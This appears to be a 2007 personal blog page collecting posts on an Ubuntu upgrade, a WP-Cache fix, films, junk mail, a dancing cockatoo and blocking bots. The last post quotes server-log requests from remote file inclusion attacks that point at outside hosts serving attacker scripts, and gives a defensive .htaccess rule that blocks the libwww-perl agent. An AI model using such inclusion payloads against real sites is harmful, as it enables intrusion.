Ubuntu Gutsy on the Dell Latitude D630

I previously documented my problems with Ubuntu and the DVD in the D630 but the upgrade to Ubuntu 7.10 Gutsy From Feisty went almost painlessly.

ubuntu 710 upgrade

All the packages downloaded and installed through the nice GUI front end. I was able to work away while they downloaded and for most of the time during install too, but when I rebooted I found that sound wasn’t working! I found this solution but I didn’t want to compile a kernel again. That’s so 90’s and this is 2007! Instead I checked my grub menu.lst and found there was an older 2.6.20 kernel listed there. A quick reboot later and sound works again, and it’s even louder! WiFi never stopped working thankfully but if you’re having problems, the page above explains what you need to install to get it working.

I haven’t tried the eye candy features yet, but so far the system feels springier and lighter, even with the old kernel. Let’s hope it stays that way!

Bah. GIMP 2.4rc3 broke a lot of the Script-fu scripts I use. I read about this somewhere. Time to get my hands dirty in my lomo plugin for starters.

Nice! Gthumb supports RAW images although it takes ages to initially process them initially.

The end of the world

How will it end? I watched Earthstorm last night in which the moon was hit by a huge asteroid causing a gigantic split in the surface of our closest neighbour and potentially slicing off a bit that falls into the Earth killing everyone. Luckily, demolition expert John Redding (played by Stephen Baldwin who’s the spit of his brother) saves the day and everyone lives happily ever after. Well probably. I didn’t bother watching the last few minutes.

I can’t believe Dirk Benedict appeared in this awful film.

Anyway, here’s another way for the world to end. Thanks Alex for the link! WTF?^^

The first mention of “youtube Earthstorm” took me to this television commercial for NicoDerm. Guess there are more fans of Anna Silk than of the movie!

PS. First Christmas advert of the season spotted while I fast forwarded through this film on Sky+!

Howto: WP-Cache and protected posts

If you use protected posts on your WordPress blog you may have noticed that WP-Cache doesn’t cache those password protected posts properly. I didn’t know this, but James Farmer did so I went looking and found a fix.

In the plugins/wp-cache/ directory, open wp-cache-phase1.php in your favourite text editor and look for the following line:

if (preg_match(“/^wordpress|^comment_author_email_/”, $key)) {

Replace that line with this one:

if (preg_match(“/^wp-postpass|^wordpress|^comment_author_email_/”, $key)) {

Save and upload the file if necessary and clear your cache. Password protect posts should be cached properly now!

Ironically, this post wasn’t being cached by WP-Cache because the url contains the string “wp-“. Here’s how to fix that bug. Open wp-cache-phase2.php and look for the following line:

if (strlen($expr) > 0 && strstr($uri, $expr))

Change it to read:

if (strlen($expr) > 0 && substr( $uri, 1, strlen($expr) ) == $expr )

Phew. This post is now cached.

Top five movie car chases

The Sunday Times hitlist listed the top 5 movie car chases in memory of the grandfather of stunts, Bud Ekins died earlier this month at the age of 77. He appeared in several films including The Great Escape, Bullitt and coordinated the stunts in CHiPS. I won’t subject you to Poncherello, but thanks to Youtube, here are the best car chases of all time:

The French Connection (1971)
… it’s never better than when Hackman’s character Popeye Doyle commandeers a Pontiac LeMans and hares off after an elevated E-train driven by a hitman.

Continue reading “Top five movie car chases”

Stop sending me junk mail Chorus

The previous owners of my home had a Chorus box and never cancelled their account properly, or told them they were moving so for the past three years they have been sending me brochures every few weeks or months. At least I presume they didn’t, but all the brochures are addressed to “The Resident”. This blog post is a reminder to myself that I finally rang them on 1890 940 940, pressed 1 for sales, pressed 1 because I really wanted to buy lots of channels and told Sarah that I didn’t want to be contacted again.

Within moments it was sorted and hopefully I’ll get no more junk mail from Chorus.

If you’re getting unsolicited email this document from the Data Protection Commissioner might come in handy but here’s what it warns about those anonymous “The Resident” mail that so frequently litters our doorsteps.

This is the traditional and oldest form of direct marketing. For mail received through your letter box to be considered to be direct marketing it must be addressed to a named person and must be promoting a product or service. Unaddressed mail put into your letter box or mail addressed to “the occupant”, “the resident” or “the householder” does not necessarily involve the use of personal data and consequently data protection legislation does not apply.

You can also opt to be removed from company mailing lists by contacting the IDMA.

Apart from contacting organisations individually, you may also wish to avail of a service run by the Irish Direct Marketing Association (IDMA). Under the Mail Preference Service, if you supply your contact details to the IDMA, it will circulate these details amongst its members. This will result in most of the main direct marketing companies removing your details from their mailing lists.

If only those fake charities respected the law too, we might stamp out all the rubbish flyers that drop through the letter box. Reminder: I really must set up clothingcollection.org soon!

I love this story from boards.ie:

Apparently the postman in my hometown was removing all the spam and advertising from people’s post, putting it in a bag and dumping it in a bog outside the town. Had been successfully un-spamming people for years before he was found out and fired.

Boycott Star Wars, not Ewan McGregor

A recent comment urged the boycotting of Ewan McGregor on the grounds that he has insulted Star Wars fans. I don’t know what he did to make them mad but I think Star Wars should be boycotted on the premise that they were crap films and the sooner the whole merchandising juggernaut disappears the better. Even Grandad thinks they’re rather strange. How long is your lightsaber Grandad?

‘Course I’m probably alone in thinking this but I should start an online petiton. Who’ll sign?

PS. Only joking Conor, about the boycott part anyway!

The biggest Backstreet Boys fan

All bow before the dance sensation that is Snowball the Cockatoo. Watch him move to the rhythm of “Everybody” by Backstreet Boys. If you like that, you might like As Long As You Love Me too!

There is a serious side to this however. From the original Youtube description:

Not my video but I felt that it had to be posted on youtube to draw attention to an important issue, Bird rescues and sanctuaries.This is a video of a medium sulphur crested Eleanora cockatoo named Snowball living at the Bird Lovers Only Rescue in Schererville, Indiana. Snowball loves the Back Street boys and has taught himself to dance to their song “Everybody.” Bird Lovers Only Rescue needs reliable volunteers to help on Tuesday and/or Friday evenings. They are a donation-based not for profit bird rescue. There is tons of useful information about parrots on their blog. To see their Website, Blog and birds ready for adoption go to:

I hope this draws attention to their cause. Fortunately there are some really great people running these rescues. As we all know, all to often parrots are abused. There is also another wonderful Youtuber OverTheRaynbow who also runs a sanctuary. To view her videos click here: http://www.youtube.com/user/OverTheRaynbow

Census 1901 – a look into the past

Do a search for Census 1901 Ireland and you’ll find lots of sites offering lists and information from the census that year. However for a personal insight into the Census, Grannymar has an interesting post. It was a completely different world. “The good old days” indeed!

Column 4 – Education.

State here whether he or she can “Read and Write,” can “Read” only, or “Cannot Read.”

Keep the libwww-perl bots out

If you look through your server logs you’ll probably notice more than a few requests like these:

GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805”
GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805”
GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805”
GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579”

If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. On a WordPress site this file should already be there if you’re using fancy permalinks.

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} libwww-perl.*
RewriteRule .* – [F,L]

Change “RewriteBase /” to suit your own base directory.

There are other bad guys out there. This page has a long list of rewrite rules to keep out all sorts of bots! I haven’t looked through them myself so YMMV if you try them.

This has the added benefit of reducing load on your server. WordPress sites are dynamically generated. This is great under normal circumstances but when you get a flood of requests it can place an unnecessary load on your site. WP-Cache helps a lot but these rules will stop them dead at the front door!

PS. ‘Course, if you depend on a libwww-perl application then don’t add this rule or you may give yourself a headache trying to figure out why things stopped working!

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Ad-blocker not detected

Consider installing a browser extension that blocks ads and other malicious scripts in your browser to protect your privacy and security. Here are a few options.

  • uBlock Origin is a free, open source, ad blocker for your browser.
  • Use pi-hole if you have a spare Raspberry Pi on your network.
  • Set the private DNS settings on your phone to dns.adguard.com to block adverts and trackers.